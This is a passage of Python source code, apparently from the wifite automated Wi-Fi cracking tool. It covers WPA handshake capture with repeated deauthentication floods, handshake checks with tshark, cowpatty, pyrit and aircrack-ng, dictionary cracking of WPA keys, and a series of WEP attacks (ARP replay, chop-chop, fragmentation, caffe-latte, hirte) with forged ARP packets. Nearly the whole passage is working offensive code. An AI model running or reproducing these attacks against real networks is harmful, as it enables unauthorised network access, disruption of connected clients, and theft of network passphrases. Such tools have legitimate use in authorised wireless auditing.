| 2089 | # Check if we already have a handshake for this SSID... If we do, generate a new filename 2090 | save_index = 0 2091 | while os.path.exists(save_as): 2092 | save_index += 1 2093 | save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \ 2094 | + '_' + self.target.bssid.replace(':', '-') \ 2095 | + '_' + str(save_index) + '.cap' 2096 | 2097 | file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wpa') 2098 | cap_file = file_prefix + '-01.cap' 2099 | csv_file = file_prefix + '-01.csv' 2100 | 2101 | # Remove previous airodump output files (if needed) 2102 | remove_airodump_files(file_prefix) 2103 | 2104 | # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C) 2105 | try: 2106 | # Start airodump-ng process to capture handshakes 2107 | cmd = ['airodump-ng', 2108 | '-w', file_prefix, 2109 | '-c', self.target.channel, 2110 | '--write-interval', '1', 2111 | '--bssid', self.target.bssid, 2112 | self.iface] 2113 | proc_read = Popen(cmd, stdout=DN, stderr=DN) 2114 | 2115 | # Setting deauthentication process here to avoid errors later on 2116 | proc_deauth = None 2117 | 2118 | print ' %s starting %swpa handshake capture%s on "%s"' % \ 2119 | (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W) 2120 | got_handshake = False 2121 | 2122 | seconds_running = 0 2123 | seconds_since_last_deauth = 0 2124 | 2125 | target_clients = self.clients[:] 2126 | client_index = -1 2127 | start_time = time.time() 2128 | # Deauth and check-for-handshake loop 2129 | while not got_handshake and ( 2130 | self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT): 2131 | if proc_read.poll() != None: 2132 | print "" 2133 | print "airodump-ng exited with status " + str(proc_read.poll()) 2134 | print "" 2135 | break 2136 | time.sleep(1) 2137 | seconds_since_last_deauth += int(time.time() - start_time - seconds_running) 2138 | seconds_running = int(time.time() - start_time) 2139 | 2140 | print " \r", 2141 | print ' %s listening for handshake...\r' % \ 2142 | (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W), 2143 | stdout.flush() 2144 | 2145 | if seconds_since_last_deauth > self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT: 2146 | seconds_since_last_deauth = 0 2147 | # Send deauth packets via aireplay-ng 2148 | cmd = ['aireplay-ng', 2149 | '--ignore-negative-one', 2150 | '--deauth', 2151 | str(self.RUN_CONFIG.WPA_DEAUTH_COUNT), # Number of packets to send 2152 | '-a', self.target.bssid] 2153 | 2154 | client_index += 1 2155 | 2156 | if client_index == -1 or len(target_clients) == 0 or client_index >= len(target_clients): 2157 | print " %s sending %s deauth to %s*broadcast*%s..." % \ 2158 | (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, 2159 | G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, G, W), 2160 | client_index = -1 2161 | else: 2162 | print " %s sending %s deauth to %s... " % \ 2163 | (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, \ 2164 | G + str(self.RUN_CONFIG.WPA_DEAUTH_COUNT) + W, \ 2165 | G + target_clients[client_index].bssid + W), 2166 | cmd.append('-c') 2167 | cmd.append(target_clients[client_index].bssid) 2168 | cmd.append(self.iface) 2169 | stdout.flush() 2170 | 2171 | # Send deauth packets via aireplay, wait for them to complete. 2172 | proc_deauth = Popen(cmd, stdout=DN, stderr=DN) 2173 | proc_deauth.wait() 2174 | print "sent\r", 2175 | stdout.flush() 2176 | 2177 | # Copy current dump file for consistency 2178 | if not os.path.exists(cap_file): continue 2179 | temp_cap_file = cap_file + '.temp' 2180 | copy(cap_file, temp_cap_file) 2181 | 2182 | # Save copy of cap file (for debugging) 2183 | #remove_file('/root/new/wpa-01.cap') 2184 | #copy(temp + 'wpa-01.cap', '/root/new/wpa-01.cap') 2185 | 2186 | # Check for handshake 2187 | if self.has_handshake(self.target, temp_cap_file): 2188 | got_handshake = True 2189 | 2190 | try: 2191 | os.mkdir(self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep) 2192 | except OSError: 2193 | pass 2194 | 2195 | # Kill the airodump and aireplay processes 2196 | send_interrupt(proc_read) 2197 | send_interrupt(proc_deauth) 2198 | 2199 | # Save a copy of the handshake 2200 | rename(temp_cap_file, save_as) 2201 | 2202 | print '\n %s %shandshake captured%s! saved as "%s"' % ( 2203 | GR + sec_to_hms(seconds_running) + W, G, W, G + save_as + W) 2204 | self.RUN_CONFIG.WPA_FINDINGS.append( 2205 | '%s (%s) handshake captured' % (self.target.ssid, self.target.bssid)) 2206 | self.RUN_CONFIG.WPA_FINDINGS.append('saved as %s' % (save_as)) 2207 | self.RUN_CONFIG.WPA_FINDINGS.append('') 2208 | 2209 | # Strip handshake if needed 2210 | if self.RUN_CONFIG.WPA_STRIP_HANDSHAKE: self.strip_handshake(save_as) 2211 | 2212 | # Add the filename and SSID to the list of 'to-crack' 2213 | # Cracking will be handled after all attacks are finished. 2214 | self.RUN_CONFIG.WPA_CAPS_TO_CRACK.append(CapFile(save_as, self.target.ssid, self.target.bssid)) 2215 | 2216 | break # Break out of while loop 2217 | 2218 | # No handshake yet 2219 | os.remove(temp_cap_file) 2220 | 2221 | # Check the airodump output file for new clients 2222 | for client in self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[1]: 2223 | if client.station != self.target.bssid: continue 2224 | new_client = True 2225 | for c in target_clients: 2226 | if client.bssid == c.bssid: 2227 | new_client = False 2228 | break 2229 | 2230 | if new_client: 2231 | print " %s %snew client%s found: %s " % \ 2232 | (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W, G, W, \ 2233 | G + client.bssid + W) 2234 | target_clients.append(client) 2235 | 2236 | # End of Handshake wait loop. 2237 | 2238 | if not got_handshake: 2239 | print R + ' [0:00:00]' + O + ' unable to capture handshake in time' + W 2240 | 2241 | except KeyboardInterrupt: 2242 | print R + '\n (^C)' + O + ' WPA handshake capture interrupted' + W 2243 | if attack_interrupted_prompt(): 2244 | remove_airodump_files(file_prefix) 2245 | send_interrupt(proc_read) 2246 | send_interrupt(proc_deauth) 2247 | print '' 2248 | self.RUN_CONFIG.exit_gracefully(0) 2249 | 2250 | 2251 | # clean up 2252 | remove_airodump_files(file_prefix) 2253 | send_interrupt(proc_read) 2254 | send_interrupt(proc_deauth) 2255 | 2256 | return got_handshake 2257 | 2258 | def has_handshake_tshark(self, target, capfile): 2259 | """ 2260 | Uses TShark to check for a handshake. 2261 | Returns "True" if handshake is found, false otherwise. 2262 | """ 2263 | if program_exists('tshark'): 2264 | # Call Tshark to return list of EAPOL packets in cap file. 2265 | cmd = ['tshark', 2266 | '-r', capfile, # Input file 2267 | '-R', 'eapol', # Filter (only EAPOL packets) 2268 | '-2', # -R is deprecated and requires -2 2269 | '-n'] # Do not resolve names (MAC vendors) 2270 | proc = Popen(cmd, stdout=PIPE, stderr=DN) 2271 | proc.wait() 2272 | lines = proc.communicate()[0].split('\n') 2273 | 2274 | # Get list of all clients in cap file 2275 | clients = [] 2276 | for line in lines: 2277 | if line.find('appears to have been cut short') != -1 or line.find( 2278 | 'Running as user "root"') != -1 or line.strip() == '': 2279 | continue 2280 | 2281 | while line.startswith(' '): line = line[1:] 2282 | while line.find(' ') != -1: line = line.replace(' ', ' ') 2283 | 2284 | fields = line.split(' ') 2285 | # ensure tshark dumped correct info 2286 | if len(fields) < 5: 2287 | continue 2288 | 2289 | src = fields[2].lower() 2290 | dst = fields[4].lower() 2291 | 2292 | if src == target.bssid.lower() and clients.count(dst) == 0: 2293 | clients.append(dst) 2294 | elif dst == target.bssid.lower() and clients.count(src) == 0: 2295 | clients.append(src) 2296 | 2297 | # Check each client for a handshake 2298 | for client in clients: 2299 | msg_num = 1 # Index of message in 4-way handshake (starts at 1) 2300 | 2301 | for line in lines: 2302 | if line.find('appears to have been cut short') != -1: continue 2303 | if line.find('Running as user "root"') != -1: continue 2304 | if line.strip() == '': continue 2305 | 2306 | # Sanitize tshark's output, separate into fields 2307 | while line[0] == ' ': line = line[1:] 2308 | while line.find(' ') != -1: line = line.replace(' ', ' ') 2309 | 2310 | fields = line.split(' ') 2311 | 2312 | # Sometimes tshark doesn't display the full header for "Key (msg 3/4)" on the 3rd handshake. 2313 | # This catches this glitch and fixes it. 2314 | if len(fields) < 8: 2315 | continue 2316 | elif len(fields) == 8: 2317 | fields.append('(msg') 2318 | fields.append('3/4)') 2319 | 2320 | src = fields[2].lower() # Source MAC address 2321 | dst = fields[4].lower() # Destination MAC address 2322 | if len(fields) == 12: 2323 | # "Message x of y" format 2324 | msg = fields[9][0] 2325 | else: 2326 | msg = fields[-1][0] 2327 | 2328 | # First, third msgs in 4-way handshake are from the target to client 2329 | if msg_num % 2 == 1 and (src != target.bssid.lower() or dst != client): 2330 | continue 2331 | # Second, fourth msgs in 4-way handshake are from client to target 2332 | elif msg_num % 2 == 0 and (dst != target.bssid.lower() or src != client): 2333 | continue 2334 | 2335 | # The messages must appear in sequential order. 2336 | try: 2337 | if int(msg) != msg_num: continue 2338 | except ValueError: 2339 | continue 2340 | 2341 | msg_num += 1 2342 | 2343 | # We need the first 4 messages of the 4-way handshake 2344 | # Although aircrack-ng cracks just fine with only 3 of the messages... 2345 | if msg_num >= 4: 2346 | return True 2347 | return False 2348 | 2349 | def has_handshake_cowpatty(self, target, capfile, nonstrict=True): 2350 | """ 2351 | Uses cowpatty to check for a handshake. 2352 | Returns "True" if handshake is found, false otherwise. 2353 | """ 2354 | if not program_exists('cowpatty'): return False 2355 | 2356 | # Call cowpatty to check if capfile contains a valid handshake. 2357 | cmd = ['cowpatty', 2358 | '-r', capfile, # input file 2359 | '-s', target.ssid, # SSID 2360 | '-c'] # Check for handshake 2361 | # Uses frames 1, 2, or 3 for key attack 2362 | if nonstrict: cmd.append('-2') 2363 | proc = Popen(cmd, stdout=PIPE, stderr=DN) 2364 | proc.wait() 2365 | response = proc.communicate()[0] 2366 | if response.find('incomplete four-way handshake exchange') != -1: 2367 | return False 2368 | elif response.find('Unsupported or unrecognized pcap file.') != -1: 2369 | return False 2370 | elif response.find('Unable to open capture file: Success') != -1: 2371 | return False 2372 | return True 2373 | 2374 | def has_handshake_pyrit(self, target, capfile): 2375 | """ 2376 | Uses pyrit to check for a handshake. 2377 | Returns "True" if handshake is found, false otherwise. 2378 | """ 2379 | if not program_exists('pyrit'): return False 2380 | 2381 | # Call pyrit to "Analyze" the cap file's handshakes. 2382 | cmd = ['pyrit', 2383 | '-r', capfile, 2384 | 'analyze'] 2385 | proc = Popen(cmd, stdout=PIPE, stderr=DN) 2386 | proc.wait() 2387 | hit_essid = False 2388 | for line in proc.communicate()[0].split('\n'): 2389 | # Iterate over every line of output by Pyrit 2390 | if line == '' or line == None: continue 2391 | if line.find("AccessPoint") != -1: 2392 | hit_essid = (line.find("('" + target.ssid + "')") != -1) and \ 2393 | (line.lower().find(target.bssid.lower()) != -1) 2394 | #hit_essid = (line.lower().find(target.bssid.lower())) 2395 | 2396 | else: 2397 | # If Pyrit says it's good or workable, it's a valid handshake. 2398 | if hit_essid and (line.find(', good, ') != -1 or line.find(', good*, ') != -1 or line.find(', workable, ') != -1): 2399 | return True 2400 | return False 2401 | 2402 | def has_handshake_aircrack(self, target, capfile): 2403 | """ 2404 | Uses aircrack-ng to check for handshake. 2405 | Returns True if found, False otherwise. 2406 | """ 2407 | if not program_exists('aircrack-ng'): return False 2408 | crack = 'echo "" | aircrack-ng -a 2 -w - -b ' + target.bssid + ' ' + capfile 2409 | proc_crack = Popen(crack, stdout=PIPE, stderr=DN, shell=True) 2410 | proc_crack.wait() 2411 | txt = proc_crack.communicate()[0] 2412 | 2413 | return (txt.find('Passphrase not in dictionary') != -1) 2414 | 2415 | def has_handshake(self, target, capfile): 2416 | """ 2417 | Checks if .cap file contains a handshake. 2418 | Returns True if handshake is found, False otherwise. 2419 | """ 2420 | valid_handshake = True 2421 | tried = False 2422 | if self.RUN_CONFIG.WPA_HANDSHAKE_TSHARK: 2423 | tried = True 2424 | valid_handshake = self.has_handshake_tshark(target, capfile) 2425 | 2426 | if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY: 2427 | tried = True 2428 | valid_handshake = self.has_handshake_cowpatty(target, capfile) 2429 | 2430 | # Use CowPatty to check for handshake. 2431 | if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_COWPATTY: 2432 | tried = True 2433 | valid_handshake = self.has_handshake_cowpatty(target, capfile) 2434 | 2435 | # Check for handshake using Pyrit if applicable 2436 | if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_PYRIT: 2437 | tried = True 2438 | valid_handshake = self.has_handshake_pyrit(target, capfile) 2439 | 2440 | # Check for handshake using aircrack-ng 2441 | if valid_handshake and self.RUN_CONFIG.WPA_HANDSHAKE_AIRCRACK: 2442 | tried = True 2443 | valid_handshake = self.has_handshake_aircrack(target, capfile) 2444 | 2445 | if tried: return valid_handshake 2446 | print R + ' [!]' + O + ' unable to check for handshake: all handshake options are disabled!' 2447 | self.RUN_CONFIG.exit_gracefully(1) 2448 | 2449 | def strip_handshake(self, capfile): 2450 | """ 2451 | Uses Tshark or Pyrit to strip all non-handshake packets from a .cap file 2452 | File in location 'capfile' is overwritten! 2453 | """ 2454 | output_file = capfile 2455 | if program_exists('pyrit'): 2456 | cmd = ['pyrit', 2457 | '-r', capfile, 2458 | '-o', capfile + '.temp', 2459 | 'stripLive'] 2460 | call(cmd, stdout=DN, stderr=DN) 2461 | if os.path.exists(capfile + '.temp'): 2462 | rename(capfile + '.temp', output_file) 2463 | 2464 | elif program_exists('tshark'): 2465 | # strip results with tshark 2466 | cmd = ['tshark', 2467 | '-r', capfile, # input file 2468 | '-R', 'eapol || wlan_mgt.tag.interpretation', # filter 2469 | '-2', # -R is deprecated and requires -2 2470 | '-w', capfile + '.temp'] # output file 2471 | proc_strip = call(cmd, stdout=DN, stderr=DN) 2472 | 2473 | rename(capfile + '.temp', output_file) 2474 | 2475 | else: 2476 | print R + " [!]" + O + " unable to strip .cap file: neither pyrit nor tshark were found" + W 2477 | 2478 | 2479 | ########################## 2480 | # WPA CRACKING FUNCTIONS # 2481 | ########################## 2482 | def wpa_crack(capfile, RUN_CONFIG): 2483 | """ 2484 | Cracks cap file using aircrack-ng 2485 | This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat, 2486 | they can do so manually. 2487 | """ 2488 | if RUN_CONFIG.WPA_DICTIONARY == '': 2489 | print R + ' [!]' + O + ' no WPA dictionary found! use -dict command-line argument' + W 2490 | return False 2491 | 2492 | print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + 'aircrack-ng' + W) 2493 | start_time = time.time() 2494 | cracked = False 2495 | 2496 | remove_file(RUN_CONFIG.temp + 'out.out') 2497 | remove_file(RUN_CONFIG.temp + 'wpakey.txt') 2498 | 2499 | cmd = ['aircrack-ng', 2500 | '-a', '2', # WPA crack 2501 | '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist 2502 | '-l', RUN_CONFIG.temp + 'wpakey.txt', # Save key to file 2503 | '-b', capfile.bssid, # BSSID of target 2504 | capfile.filename] 2505 | 2506 | proc = Popen(cmd, stdout=open(RUN_CONFIG.temp + 'out.out', 'a'), stderr=DN) 2507 | try: 2508 | kt = 0 # Keys tested 2509 | kps = 0 # Keys per second 2510 | while True: 2511 | time.sleep(1) 2512 | 2513 | if proc.poll() != None: # aircrack stopped 2514 | if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'): 2515 | # Cracked 2516 | inf = open(RUN_CONFIG.temp + 'wpakey.txt') 2517 | key = inf.read().strip() 2518 | inf.close() 2519 | RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % ( 2520 | G + capfile.ssid + W, G + capfile.bssid + W, C + key + W)) 2521 | RUN_CONFIG.WPA_FINDINGS.append('') 2522 | t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid) 2523 | t.key = key 2524 | RUN_CONFIG.save_cracked(t) 2525 | 2526 | print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid + W) 2527 | print GR + ' [+]' + W + ' key: "%s"\n' % (C + key + W) 2528 | cracked = True 2529 | else: 2530 | # Did not crack 2531 | print R + '\n [!]' + R + 'crack attempt failed' + O + ': passphrase not in dictionary' + W 2532 | break 2533 | 2534 | inf = open(RUN_CONFIG.temp + 'out.out', 'r') 2535 | lines = inf.read().split('\n') 2536 | inf.close() 2537 | outf = open(RUN_CONFIG.temp + 'out.out', 'w') 2538 | outf.close() 2539 | for line in lines: 2540 | i = line.find(']') 2541 | j = line.find('keys tested', i) 2542 | if i != -1 and j != -1: 2543 | kts = line[i + 2:j - 1] 2544 | try: 2545 | kt = int(kts) 2546 | except ValueError: 2547 | pass 2548 | i = line.find('(') 2549 | j = line.find('k/s)', i) 2550 | if i != -1 and j != -1: 2551 | kpss = line[i + 1:j - 1] 2552 | try: 2553 | kps = float(kpss) 2554 | except ValueError: 2555 | pass 2556 | 2557 | print "\r %s %s keys tested (%s%.2f keys/sec%s) " % \ 2558 | (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(kt) + W, G, kps, W), 2559 | stdout.flush() 2560 | 2561 | except KeyboardInterrupt: 2562 | print R + '\n (^C)' + O + ' WPA cracking interrupted' + W 2563 | 2564 | send_interrupt(proc) 2565 | try: 2566 | os.kill(proc.pid, SIGTERM) 2567 | except OSError: 2568 | pass 2569 | 2570 | return cracked 2571 | 2572 | 2573 | def add_commas(n): 2574 | """ 2575 | Receives integer n, returns string representation of n with commas in thousands place. 2576 | I'm sure there's easier ways of doing this... but meh. 2577 | """ 2578 | strn = str(n) 2579 | lenn = len(strn) 2580 | i = 0 2581 | result = '' 2582 | while i < lenn: 2583 | if (lenn - i) % 3 == 0 and i != 0: result += ',' 2584 | result += strn[i] 2585 | i += 1 2586 | return result 2587 | 2588 | 2589 | ################# 2590 | # WEP FUNCTIONS # 2591 | ################# 2592 | class WEPAttack(Attack): 2593 | def __init__(self, iface, target, clients, config): 2594 | self.iface = iface 2595 | self.target = target 2596 | self.clients = clients 2597 | self.RUN_CONFIG = config 2598 | 2599 | def RunAttack(self): 2600 | ''' 2601 | Abstract method for dispatching the WEP crack 2602 | ''' 2603 | self.attack_wep() 2604 | 2605 | def EndAttack(self): 2606 | ''' 2607 | Abstract method for ending the WEP attack 2608 | ''' 2609 | pass 2610 | 2611 | def attack_wep(self): 2612 | """ 2613 | Attacks WEP-encrypted network. 2614 | Returns True if key was successfully found, False otherwise. 2615 | """ 2616 | if self.RUN_CONFIG.WEP_TIMEOUT <= 0: self.RUN_CONFIG.WEP_TIMEOUT = -1 2617 | 2618 | total_attacks = 6 # 4 + (2 if len(clients) > 0 else 0) 2619 | if not self.RUN_CONFIG.WEP_ARP_REPLAY: total_attacks -= 1 2620 | if not self.RUN_CONFIG.WEP_CHOPCHOP: total_attacks -= 1 2621 | if not self.RUN_CONFIG.WEP_FRAGMENT: total_attacks -= 1 2622 | if not self.RUN_CONFIG.WEP_CAFFELATTE: total_attacks -= 1 2623 | if not self.RUN_CONFIG.WEP_P0841: total_attacks -= 1 2624 | if not self.RUN_CONFIG.WEP_HIRTE: total_attacks -= 1 2625 | 2626 | if total_attacks <= 0: 2627 | print R + ' [!]' + O + ' unable to initiate WEP attacks: no attacks are selected!' 2628 | return False 2629 | remaining_attacks = total_attacks 2630 | 2631 | print ' %s preparing attack "%s" (%s)' % \ 2632 | (GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W, G + self.target.bssid + W) 2633 | 2634 | file_prefix = os.path.join(self.RUN_CONFIG.temp, 'wep') 2635 | wepkey_file = os.path.join(self.RUN_CONFIG.temp, 'wepkey.txt') 2636 | csv_file = file_prefix + '-01.csv' 2637 | cap_file = file_prefix + '-01.cap' 2638 | 2639 | remove_airodump_files(file_prefix) 2640 | remove_file(wepkey_file) 2641 | 2642 | # Start airodump process to capture packets 2643 | cmd_airodump = ['airodump-ng', 2644 | '-w', file_prefix, # Output file name (wep-01.cap, wep-01.csv) 2645 | '-c', self.target.channel, # Wireless channel 2646 | '--write-interval', '1', 2647 | '--bssid', self.target.bssid, 2648 | self.iface] 2649 | proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN) 2650 | proc_aireplay = None 2651 | proc_aircrack = None 2652 | 2653 | successful = False # Flag for when attack is successful 2654 | started_cracking = False # Flag for when we have started aircrack-ng 2655 | client_mac = '' # The client mac we will send packets to/from 2656 | 2657 | total_ivs = 0 2658 | ivs = 0 2659 | last_ivs = 0 2660 | for attack_num in xrange(0, 6): 2661 | 2662 | # Skip disabled attacks 2663 | if attack_num == 0 and not self.RUN_CONFIG.WEP_ARP_REPLAY: 2664 | continue 2665 | elif attack_num == 1 and not self.RUN_CONFIG.WEP_CHOPCHOP: 2666 | continue 2667 | elif attack_num == 2 and not self.RUN_CONFIG.WEP_FRAGMENT: 2668 | continue 2669 | elif attack_num == 3 and not self.RUN_CONFIG.WEP_CAFFELATTE: 2670 | continue 2671 | elif attack_num == 4 and not self.RUN_CONFIG.WEP_P0841: 2672 | continue 2673 | elif attack_num == 5 and not self.RUN_CONFIG.WEP_HIRTE: 2674 | continue 2675 | 2676 | remaining_attacks -= 1 2677 | 2678 | try: 2679 | 2680 | if self.wep_fake_auth(self.iface, self.target, sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT)): 2681 | # Successful fake auth 2682 | client_mac = self.RUN_CONFIG.THIS_MAC 2683 | elif not self.RUN_CONFIG.WEP_IGNORE_FAKEAUTH: 2684 | send_interrupt(proc_aireplay) 2685 | send_interrupt(proc_airodump) 2686 | print R + ' [!]' + O + ' unable to fake-authenticate with target' 2687 | print R + ' [!]' + O + ' to skip this speed bump, select "ignore-fake-auth" at command-line' 2688 | return False 2689 | 2690 | remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap')) 2691 | # Generate the aireplay-ng arguments based on attack_num and other params 2692 | cmd = self.get_aireplay_command(self.iface, attack_num, self.target, self.clients, client_mac) 2693 | if cmd == '': continue 2694 | if proc_aireplay != None: 2695 | send_interrupt(proc_aireplay) 2696 | proc_aireplay = Popen(cmd, stdout=PIPE, stderr=PIPE) 2697 | 2698 | print '\r %s attacking "%s" via' % ( 2699 | GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G + self.target.ssid + W), 2700 | if attack_num == 0: 2701 | print G + 'arp-replay', 2702 | elif attack_num == 1: 2703 | print G + 'chop-chop', 2704 | elif attack_num == 2: 2705 | print G + 'fragmentation', 2706 | elif attack_num == 3: 2707 | print G + 'caffe-latte', 2708 | elif attack_num == 4: 2709 | print G + 'p0841', 2710 | elif attack_num == 5: 2711 | print G + 'hirte', 2712 | print 'attack' + W 2713 | 2714 | print ' %s captured %s%d%s ivs @ %s iv/sec' % ( 2715 | GR + sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT) + W, G, total_ivs, W, G + '0' + W), 2716 | stdout.flush() 2717 | 2718 | time.sleep(1) 2719 | if attack_num == 1: 2720 | # Send a deauth packet to broadcast and all clients *just because!* 2721 | self.wep_send_deauths(self.iface, self.target, self.clients) 2722 | last_deauth = time.time() 2723 | 2724 | replaying = False 2725 | time_started = time.time() 2726 | while time.time() - time_started < self.RUN_CONFIG.WEP_TIMEOUT: 2727 | # time.sleep(5) 2728 | if self.RUN_CONFIG.WEP_TIMEOUT == -1: 2729 | current_hms = "[endless]" 2730 | else: 2731 | current_hms = sec_to_hms(self.RUN_CONFIG.WEP_TIMEOUT - (time.time() - time_started)) 2732 | print "\r %s\r" % (GR + current_hms + W), 2733 | stdout.flush() 2734 | time.sleep(1) 2735 | 2736 | # Calculates total seconds remaining 2737 | 2738 | # Check number of IVs captured 2739 | csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0] 2740 | if len(csv) > 0: 2741 | ivs = int(csv[0].data) 2742 | print "\r ", 2743 | print "\r %s captured %s%d%s ivs @ %s%d%s iv/sec" % \ 2744 | (GR + current_hms + W, G, total_ivs + ivs, W, G, (ivs - last_ivs), W), 2745 | 2746 | if ivs - last_ivs == 0 and time.time() - last_deauth > 30: 2747 | print "\r %s deauthing to generate packets..." % (GR + current_hms + W), 2748 | self.wep_send_deauths(self.iface, self.target, self.clients) 2749 | print "done\r", 2750 | last_deauth = time.time() 2751 | 2752 | last_ivs = ivs 2753 | stdout.flush() 2754 | if total_ivs + ivs >= self.RUN_CONFIG.WEP_CRACK_AT_IVS and not started_cracking: 2755 | # Start cracking 2756 | cmd = ['aircrack-ng', 2757 | '-a', '1', 2758 | '-l', wepkey_file] 2759 | #temp + 'wep-01.cap'] 2760 | # Append all .cap files in temp directory (in case we are resuming) 2761 | for f in os.listdir(self.RUN_CONFIG.temp): 2762 | if f.startswith('wep-') and f.endswith('.cap'): 2763 | cmd.append(os.path.join(self.RUN_CONFIG.temp, f)) 2764 | 2765 | print "\r %s started %s (%sover %d ivs%s)" % ( 2766 | GR + current_hms + W, G + 'cracking' + W, G, self.RUN_CONFIG.WEP_CRACK_AT_IVS, W) 2767 | proc_aircrack = Popen(cmd, stdout=DN, stderr=DN) 2768 | started_cracking = True 2769 | 2770 | # Check if key has been cracked yet. 2771 | if os.path.exists(wepkey_file): 2772 | # Cracked! 2773 | infile = open(wepkey_file, 'r') 2774 | key = infile.read().replace('\n', '') 2775 | infile.close() 2776 | print '\n\n %s %s %s (%s)! key: "%s"' % ( 2777 | current_hms, G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W) 2778 | self.RUN_CONFIG.WEP_FINDINGS.append( 2779 | 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key)) 2780 | self.RUN_CONFIG.WEP_FINDINGS.append('') 2781 | 2782 | t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid) 2783 | t.key = key 2784 | self.RUN_CONFIG.save_cracked(t) 2785 | 2786 | # Kill processes 2787 | send_interrupt(proc_airodump) 2788 | send_interrupt(proc_aireplay) 2789 | try: 2790 | os.kill(proc_aireplay, SIGTERM) 2791 | except: 2792 | pass 2793 | send_interrupt(proc_aircrack) 2794 | # Remove files generated by airodump/aireplay/packetforce 2795 | time.sleep(0.5) 2796 | remove_airodump_files(file_prefix) 2797 | remove_file(wepkey_file) 2798 | return True 2799 | 2800 | # Check if aireplay is still executing 2801 | if proc_aireplay.poll() == None: 2802 | if replaying: 2803 | print ', ' + G + 'replaying \r' + W, 2804 | elif attack_num == 1 or attack_num == 2: 2805 | print ', waiting for packet \r', 2806 | stdout.flush() 2807 | continue 2808 | 2809 | # At this point, aireplay has stopped 2810 | if attack_num != 1 and attack_num != 2: 2811 | print '\r %s attack failed: %saireplay-ng exited unexpectedly%s' % (R + current_hms, O, W) 2812 | (sout, serr) = proc_aireplay.communicate() 2813 | break # Break out of attack's While loop 2814 | 2815 | # Check for a .XOR file (we expect one when doing chopchop/fragmentation 2816 | xor_file = '' 2817 | for filename in sorted(os.listdir(self.RUN_CONFIG.temp)): 2818 | if filename.lower().endswith('.xor'): 2819 | xor_file = os.path.join(self.RUN_CONFIG.temp, filename) 2820 | if xor_file == '': 2821 | print '\r %s attack failed: %sunable to generate keystream %s' % (R + current_hms, O, W) 2822 | break 2823 | 2824 | remove_file(os.path.join(self.RUN_CONFIG.temp, 'arp.cap')) 2825 | cmd = ['packetforge-ng', 2826 | '-0', 2827 | '-a', self.target.bssid, 2828 | '-h', client_mac, 2829 | '-k', '192.168.1.2', 2830 | '-l', '192.168.1.100', 2831 | '-y', xor_file, 2832 | '-w', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'), 2833 | self.iface] 2834 | proc_pforge = Popen(cmd, stdout=PIPE, stderr=DN) 2835 | proc_pforge.wait() 2836 | forged_packet = proc_pforge.communicate()[0] 2837 | remove_file(xor_file) 2838 | if forged_packet == None: result = '' 2839 | forged_packet = forged_packet.strip() 2840 | if not forged_packet.find('Wrote packet'): 2841 | print "\r %s attack failed: unable to forget ARP packet %s" % ( 2842 | R + current_hms + O, W) 2843 | break 2844 | 2845 | # We were able to forge a packet, so let's replay it via aireplay-ng 2846 | cmd = ['aireplay-ng', 2847 | '--ignore-negative-one', 2848 | '--arpreplay', 2849 | '-b', self.target.bssid, 2850 | '-r', os.path.join(self.RUN_CONFIG.temp, 'arp.cap'), # Used the forged ARP packet 2851 | '-F', # Select the first packet 2852 | self.iface] 2853 | proc_aireplay = Popen(cmd, stdout=DN, stderr=DN) 2854 | 2855 | print '\r %s forged %s! %s... ' % ( 2856 | GR + current_hms + W, G + 'arp packet' + W, G + 'replaying' + W) 2857 | replaying = True 2858 | 2859 | # After the attacks, if we are already cracking, wait for the key to be found! 2860 | while started_cracking: # ivs > WEP_CRACK_AT_IVS: 2861 | time.sleep(1) 2862 | # Check number of IVs captured 2863 | csv = self.RUN_CONFIG.RUN_ENGINE.parse_csv(csv_file)[0] 2864 | if len(csv) > 0: 2865 | ivs = int(csv[0].data) 2866 | print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \ 2867 | (G, total_ivs + ivs, W, G, (ivs - last_ivs), W), 2868 | last_ivs = ivs 2869 | stdout.flush() 2870 | 2871 | # Check if key has been cracked yet. 2872 | if os.path.exists(wepkey_file): 2873 | # Cracked! 2874 | infile = open(wepkey_file, 'r') 2875 | key = 